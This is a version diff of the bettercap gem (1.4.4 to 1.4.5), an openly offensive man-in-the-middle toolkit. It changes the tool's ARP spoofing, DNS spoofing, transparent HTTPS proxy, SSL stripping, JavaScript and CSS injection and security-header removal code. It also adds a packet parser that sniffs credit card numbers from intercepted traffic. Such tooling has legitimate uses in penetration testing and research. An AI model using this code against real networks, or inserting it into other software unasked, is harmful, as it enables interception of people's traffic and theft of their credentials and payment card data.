bettercap 1.4.4 → 1.4.5

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
4
- data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
3
+ metadata.gz: 36c1b50612037538a301084dd6780fbbe25ce5c8
4
+ data.tar.gz: 24c4fea056b5f2c2a8be6520ddb1f81895d7630a
5
5
  SHA512:
6
- metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
7
- data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
6
+ metadata.gz: 1d0d3cf857d16c39ec4da7bb37a00892397050b5f2ff4f37227c7a9ba2af0f40f07cf0869064fe90a609bcd838bee85d3df1d5805f43223b8a853d5158dc17f6
7
+ data.tar.gz: 930097cd8f7103cefaa4f5e79feedbe0adbab02cccd7c4705d7c5d72a1b3146ae3e6f91be1a13e246ae258516b57117da5c05cf867d07a20279e236948a88c2b
@@ -35,9 +35,6 @@ class Context
35
35
  attr_accessor :httpd
36
36
  # Instance of BetterCap::Network::Servers::DNSD class.
37
37
  attr_accessor :dnsd
38
- # Instance of Proxy::SSL::Authority class used
39
- # for the HTTPS transparent proxy.
40
- attr_accessor :authority
41
38
  # Set to true if the program is running, to false if a shutdown was
42
39
  # scheduled by the user which pressed CTRL+C
43
40
  attr_accessor :running
@@ -71,11 +68,9 @@ class Context
71
68
  @gateway = nil
72
69
  @gateway_mac_resolved = false
73
70
  @targets = []
74
- @proxy_processor = nil
75
71
  @spoofer = nil
76
72
  @httpd = nil
77
73
  @dnsd = nil
78
- @authority = nil
79
74
  @proxies = []
80
75
  @redirections = []
81
76
  @discovery = Discovery::Thread.new self
@@ -213,47 +208,17 @@ class Context
213
208
  def create_proxies!
214
209
  if @options.has_proxy_module?
215
210
  Proxy::Module.register_modules
216
-
217
211
  raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
218
212
  end
219
213
 
220
- @proxy_processor = Proc.new do |request,response|
221
- if Proxy::Module.modules.empty?
222
- Logger.debug 'WARNING: No proxy module loaded, skipping request.'
223
- else
224
- # loop each loaded module and execute if enabled
225
- Proxy::Module.modules.each do |mod|
226
- if mod.enabled?
227
- # we need to save the original response in case something
228
- # in the module will go wrong
229
- original = response
230
-
231
- begin
232
- if response.nil?
233
- mod.on_pre_request request
234
- else
235
- mod.on_request request, response
236
- end
237
- rescue Exception => e
238
- Logger.warn "Error with proxy module: #{e.message}"
239
- Logger.exception e
240
-
241
- response = original
242
- end
243
- end
244
- end
245
- end
246
- end
247
-
248
214
  # create HTTP proxy
249
215
  if @options.proxy
250
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
216
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false )
251
217
  end
252
218
 
253
219
  # create HTTPS proxy
254
220
  if @options.proxy_https
255
- @authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
256
- @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
221
+ @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true )
257
222
  end
258
223
 
259
224
  @proxies.each do |proxy|
@@ -71,13 +71,13 @@ class Thread
71
71
  if diff[:new].empty?
72
72
  snew = ""
73
73
  else
74
- snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}"
74
+ snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}"
75
75
  end
76
76
 
77
77
  if diff[:lost].empty?
78
78
  slost = ""
79
79
  else
80
- slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}"
80
+ slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}"
81
81
  end
82
82
 
83
83
  Logger.info "#{snew}#{slost} :"
@@ -49,7 +49,7 @@ class PacketQueue
49
49
 
50
50
  # Notify the queue to stop and wait for every worker to finish.
51
51
  def stop
52
- wait_empty( 60 )
52
+ wait_empty( 6000 )
53
53
  @running = false
54
54
  @nworkers.times { push(nil) }
55
55
  @workers.map(&:join)
@@ -30,7 +30,7 @@ class DnsWrapper < RubyDNS::RuleBasedServer
30
30
  # Instantiate a server with a block.
31
31
  def initialize(options = {}, &block)
32
32
  super(options,&block)
33
- @rules = options[:rules]
33
+ @rules = []
34
34
  @@instance = self
35
35
  end
36
36
  # Give a name and a record type, try to match a rule and use it for processing the given arguments.
@@ -48,31 +48,18 @@ class DNSD
48
48
  def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
49
49
  @port = port
50
50
  @address = address
51
+ @hosts = hosts_filename
51
52
  @server = nil
52
- @rules = []
53
- @thread = nil
54
53
  @ifaces = [
55
54
  [:udp, address, port],
56
55
  [:tcp, address, port]
57
56
  ]
58
-
59
- unless hosts_filename.nil?
60
- DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
61
- block = Proc.new do |transaction|
62
- Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
63
- transaction.respond!(addr)
64
- end
65
-
66
- @rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
67
- end
68
-
69
- Logger.warn "Empty hosts file for DNS server." if @rules.empty?
70
- end
71
57
  end
72
58
 
73
59
  # Add a rule to the DNS resolver at runtime.
74
- def add_rule( exp, addr )
60
+ def add_rule!( exp, addr )
75
61
  Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
62
+
76
63
  block = Proc.new do |transaction|
77
64
  Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
78
65
  transaction.respond!(addr)
@@ -83,37 +70,35 @@ class DNSD
83
70
 
84
71
  # Start the server.
85
72
  def start
86
- Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ( #{@rules.size} redirection rule#{if @rules.size > 1 then 's' else '' end} ) ..."
87
-
88
- @thread = Thread.new {
89
- options = {
90
- :listen => @ifaces,
91
- :asynchronous => true,
92
- :server_class => DnsWrapper,
93
- :rules => @rules
94
- }
95
-
96
- RubyDNS::run_server( options ) do
97
- # Suppress RubyDNS logging.
98
- @logger.level = ::Logger::ERROR
99
- @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
100
-
101
- # Default DNS handler
102
- otherwise do |transaction|
103
- Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
104
- transaction.passthrough!(@upstream)
105
- end
106
- end
73
+ Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..."
74
+
75
+ options = {
76
+ :listen => @ifaces,
77
+ :asynchronous => true,
78
+ :server_class => DnsWrapper
107
79
  }
80
+
81
+ RubyDNS::run_server( options ) do
82
+ # Suppress RubyDNS logging.
83
+ @logger.level = ::Logger::ERROR
84
+ @upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
85
+
86
+ # Default DNS handler
87
+ otherwise do |transaction|
88
+ Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
89
+ transaction.passthrough!(@upstream)
90
+ end
91
+ end
92
+
93
+ unless @hosts.nil?
94
+ DNSD.parse_hosts( @hosts ).each do |exp,addr|
95
+ add_rule!( exp, addr )
96
+ end
97
+ end
108
98
  end
109
99
 
110
100
  # Stop the server.
111
- def stop
112
- Logger.info "Stopping DNS server ..."
113
- begin
114
- @thread.kill
115
- rescue; end
116
- end
101
+ def stop; end
117
102
 
118
103
  # Parse hosts from +filename+, example host file:
119
104
  #
@@ -142,7 +127,7 @@ class DNSD
142
127
  unless Network::Validator.is_ip?(address)
143
128
 
144
129
  begin
145
- hosts[ Regexp.new(expression) ] = address
130
+ hosts[ expression ] = address
146
131
  rescue RegexpError
147
132
  raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'."
148
133
  end
@@ -76,13 +76,13 @@ class Target
76
76
 
77
77
  # Return a verbose string representation of this object.
78
78
  def to_s(padding=true)
79
- if padding
80
- s = sprintf( '%-15s : %-17s', if @ip.nil? then '???' else @ip end, @mac )
81
- else
82
- s = sprintf( '%s : %s', if @ip.nil? then '???' else @ip end, @mac )
83
- end
79
+ address = @ip.nil?? '???' : @ip
80
+ fmt = padding ? '%-15s : %-17s' : '%s : %s'
81
+ vendor = @vendor.nil?? " ( ??? )" : " ( #{@vendor} )"
82
+
83
+ s = sprintf( fmt, address, @mac )
84
84
  s += " / #{@hostname}" unless @hostname.nil?
85
- s += if @vendor.nil? then " ( ??? )" else " ( #{@vendor} )" end
85
+ s += vendor
86
86
  s
87
87
  end
88
88
 
@@ -111,7 +111,7 @@ class Target
111
111
  end
112
112
 
113
113
  def self.normalized_mac(v)
114
- v.split(':').map { |e| if e.size == 2 then e.upcase else "0#{e.upcase}" end }.join(':')
114
+ v.split(':').map { |e| e.size == 2 ? e.upcase : "0#{e.upcase}" }.join(':')
115
115
  end
116
116
 
117
117
  private
@@ -452,9 +452,9 @@ class Options
452
452
  def parse_custom_proxy!(value, https=false)
453
453
  raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
454
454
  if https
455
- @custom_proxy = value
456
- else
457
455
  @custom_https_proxy = value
456
+ else
457
+ @custom_proxy = value
458
458
  end
459
459
  end
460
460
 
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into #{request.to_url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into #{request.to_url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -15,10 +15,9 @@ module BetterCap
15
15
  module Proxy
16
16
  # Transparent proxy class.
17
17
  class Proxy
18
- # Initialize the transparent proxy, making it listen on +address+:+port+ and
19
- # use the specified +processor+ routine for each request.
18
+ # Initialize the transparent proxy, making it listen on +address+:+port+.
20
19
  # If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one.
21
- def initialize( address, port, is_https, processor )
20
+ def initialize( address, port, is_https )
22
21
  @socket = nil
23
22
  @address = address
24
23
  @port = port
@@ -30,7 +29,7 @@ class Proxy
30
29
  @main_thread = nil
31
30
  @running = false
32
31
  @local_ips = []
33
- @streamer = Streamer.new( processor, need_sslstrip? )
32
+ @streamer = Streamer.new( need_sslstrip? )
34
33
 
35
34
  begin
36
35
  @local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
@@ -26,7 +26,7 @@ class Server
26
26
 
27
27
  # Create an instance from the TCPSocket +socket+.
28
28
  def initialize( socket )
29
- @authority = Context.get.authority
29
+ @authority = Authority.new( Context.get.options.proxy_pem_file )
30
30
  @context = OpenSSL::SSL::SSLContext.new
31
31
  @context.cert = @authority.certificate
32
32
  @context.key = @authority.key
@@ -293,7 +293,7 @@ class Strip
293
293
  rescue; end
294
294
 
295
295
  unless links.empty?
296
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
296
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
297
297
 
298
298
  links.each do |l|
299
299
  original, stripped = l
@@ -311,7 +311,7 @@ class Strip
311
311
  original_address = IPSocket.getaddress( o.original_hostname )
312
312
  @stripped << o
313
313
  # make sure we're able to resolve the stripped domain
314
- @resolver.add_rule( stripped_hostname, original_address )
314
+ @resolver.add_rule!( stripped_hostname, original_address )
315
315
  rescue Exception => e
316
316
  Logger.exception(e)
317
317
  end
@@ -144,7 +144,8 @@ class StreamLogger
144
144
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
145
145
  # with the +request+ and +response+ most important informations.
146
146
  def self.log_http( request, response )
147
- response_s = "( #{response.content_type} )"
147
+ response_s = ""
148
+ response_s += " ( #{response.content_type} )" unless response.content_type.nil?
148
149
  request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
149
150
  code = response.code.to_s[0]
150
151
 
@@ -154,7 +155,7 @@ class StreamLogger
154
155
  response_s += " [#{response.code}]"
155
156
  end
156
157
 
157
- Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s} #{response_s}"
158
+ Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
158
159
  # Log post body if the POST sniffer is enabled.
159
160
  if Context.get.post_sniffer_enabled?
160
161
  self.log_post( request )
@@ -15,9 +15,8 @@ module BetterCap
15
15
  module Proxy
16
16
  # Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
17
17
  class Streamer
18
- # Initialize the class with the given +processor+ routine.
19
- def initialize( processor, sslstrip )
20
- @processor = processor
18
+ # Initialize the class.
19
+ def initialize( sslstrip )
21
20
  @ctx = Context.get
22
21
  @sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
23
22
  end
@@ -55,14 +54,14 @@ class Streamer
55
54
 
56
55
  if r.nil?
57
56
  # call modules on_pre_request
58
- @processor.call( request, nil )
57
+ process( request )
59
58
 
60
59
  self.send( "do_#{request.method}", request, response )
61
60
  else
62
61
  response = r
63
62
  end
64
63
 
65
- if response.textual?
64
+ if response.textual? or request.method == 'DELETE'
66
65
  StreamLogger.log_http( request, response )
67
66
  else
68
67
  Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
@@ -84,7 +83,7 @@ class Streamer
84
83
  strip_security( response )
85
84
 
86
85
  # call modules on_request
87
- @processor.call( request, response )
86
+ process( request, response )
88
87
 
89
88
  client.write response.to_s
90
89
  rescue NoMethodError => e
@@ -95,6 +94,31 @@ class Streamer
95
94
 
96
95
  private
97
96
 
97
+ # Run proxy modules.
98
+ def process( request, response = nil )
99
+ # loop each loaded module and execute if enabled
100
+ BetterCap::Proxy::Module.modules.each do |mod|
101
+ if mod.enabled?
102
+ # we need to save the original response in case something
103
+ # in the module will go wrong
104
+ original = response
105
+
106
+ begin
107
+ if response.nil?
108
+ mod.on_pre_request request
109
+ else
110
+ mod.on_request request, response
111
+ end
112
+ rescue Exception => e
113
+ Logger.warn "Error with proxy module: #{e.message}"
114
+ Logger.exception e
115
+
116
+ response = original
117
+ end
118
+ end
119
+ end
120
+ end
121
+
98
122
  # List of security headers to remove/patch from any response.
99
123
  # Thanks to Mazin Ahmed ( @mazen160 )
100
124
  SECURITY_HEADERS = {
@@ -163,6 +187,13 @@ class Streamer
163
187
  end
164
188
  end
165
189
 
190
+ # Handle a DELETE request, +req+ is the request object and +res+ the response.
191
+ def do_DELETE(req, res)
192
+ perform_proxy_request(req, res) do |http, path, header|
193
+ http.delete(path, header)
194
+ end
195
+ end
196
+
166
197
  # Handle a POST request, +req+ is the request object and +res+ the response.
167
198
  def do_POST(req, res)
168
199
  perform_proxy_request(req, res) do |http, path, header|
@@ -0,0 +1,62 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ module BetterCap
14
+ module Parsers
15
+ # CC parser.
16
+ class CreditCard < Base
17
+ PARSERS = [
18
+ # All major cards.
19
+ /(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
20
+ # American Express
21
+ /(3[47][0-9]{13})/m,
22
+ # Diners Club
23
+ /(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
24
+ # Discover
25
+ /(6011[0-9]{12})/m,
26
+ # MasterCard
27
+ /(5[1-5][0-9]{14})/m,
28
+ # Visa
29
+ /(4[0-9]{12}(?:[0-9]{3})?)/m
30
+ ].freeze
31
+
32
+ def on_packet( pkt )
33
+ begin
34
+ payload = pkt.to_s
35
+ PARSERS.each do |expr|
36
+ matches = payload.scan( expr )
37
+ matches.each do |m|
38
+ StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
39
+ end
40
+ break unless matches.empty?
41
+ end
42
+ rescue; end
43
+ end
44
+
45
+ # Validate +cc+ with Lughn algorithm.
46
+ def luhn?(cc)
47
+ digits = cc.split(//).map(&:to_i)
48
+ last = digits.pop
49
+
50
+ products = digits.reverse.map.with_index do |n,i|
51
+ i.even? ? n*2 : n*1
52
+ end.reverse
53
+ sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
54
+ checksum = 10 - (sum % 10)
55
+ checksum == 10 ? 0 : checksum
56
+
57
+ ( last == checksum )
58
+ end
59
+
60
+ end
61
+ end
62
+ end
@@ -67,8 +67,6 @@ class Arp < Base
67
67
  raise 'ARP spoofer is not running' unless @running
68
68
 
69
69
  Logger.debug 'Stopping ARP spoofer ...'
70
- Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
71
- @ctx.firewall.enable_forwarding( @forwarding )
72
70
 
73
71
  @running = false
74
72
  begin
@@ -81,11 +79,15 @@ class Arp < Base
81
79
  @ctx.targets.each do |target|
82
80
  unless target.ip.nil? or target.mac.nil?
83
81
  5.times do
84
- spoof(target)
82
+ spoof(target, true)
85
83
  sleep 0.3
86
84
  end
87
85
  end
88
86
  end
87
+
88
+ Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
89
+
90
+ @ctx.firewall.enable_forwarding( @forwarding )
89
91
  end
90
92
 
91
93
  private
@@ -94,11 +96,11 @@ class Arp < Base
94
96
  # restore its ARP cache instead.
95
97
  def spoof( target, restore = false )
96
98
  if restore
99
+ send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
100
+ send_spoofed_packet( target.ip, target.mac, @gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.half_duplex
101
+ else
97
102
  send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
98
103
  send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
99
- else
100
- send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac )
101
- send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
102
104
  end
103
105
  end
104
106
 
@@ -106,7 +108,7 @@ class Arp < Base
106
108
  def arp_spoofer
107
109
  spoof_loop(1) { |target|
108
110
  unless target.ip.nil? or target.mac.nil?
109
- spoof(target, true)
111
+ spoof(target)
110
112
  end
111
113
  }
112
114
  end
@@ -32,7 +32,7 @@ class UpdateChecker
32
32
  def self.vton v
33
33
  vi = 0.0
34
34
  v.split('.').reverse.each_with_index do |e,i|
35
- vi += ( e.to_i * 10**i ) - ( if e =~ /[\d+]b/ then 0.5 else 0 end )
35
+ vi += ( e.to_i * 10**i ) - ( e =~ /[\d+]b/ ? 0.5 : 0 )
36
36
  end
37
37
  vi
38
38
  end
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.4.4'
15
+ VERSION = '1.4.5'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.4.4
4
+ version: 1.4.5
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-24 00:00:00.000000000 Z
11
+ date: 2016-02-29 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -171,6 +171,7 @@ files:
171
171
  - lib/bettercap/shell.rb
172
172
  - lib/bettercap/sniffer/parsers/base.rb
173
173
  - lib/bettercap/sniffer/parsers/cookie.rb
174
+ - lib/bettercap/sniffer/parsers/creditcard.rb
174
175
  - lib/bettercap/sniffer/parsers/custom.rb
175
176
  - lib/bettercap/sniffer/parsers/dhcp.rb
176
177
  - lib/bettercap/sniffer/parsers/dict.rb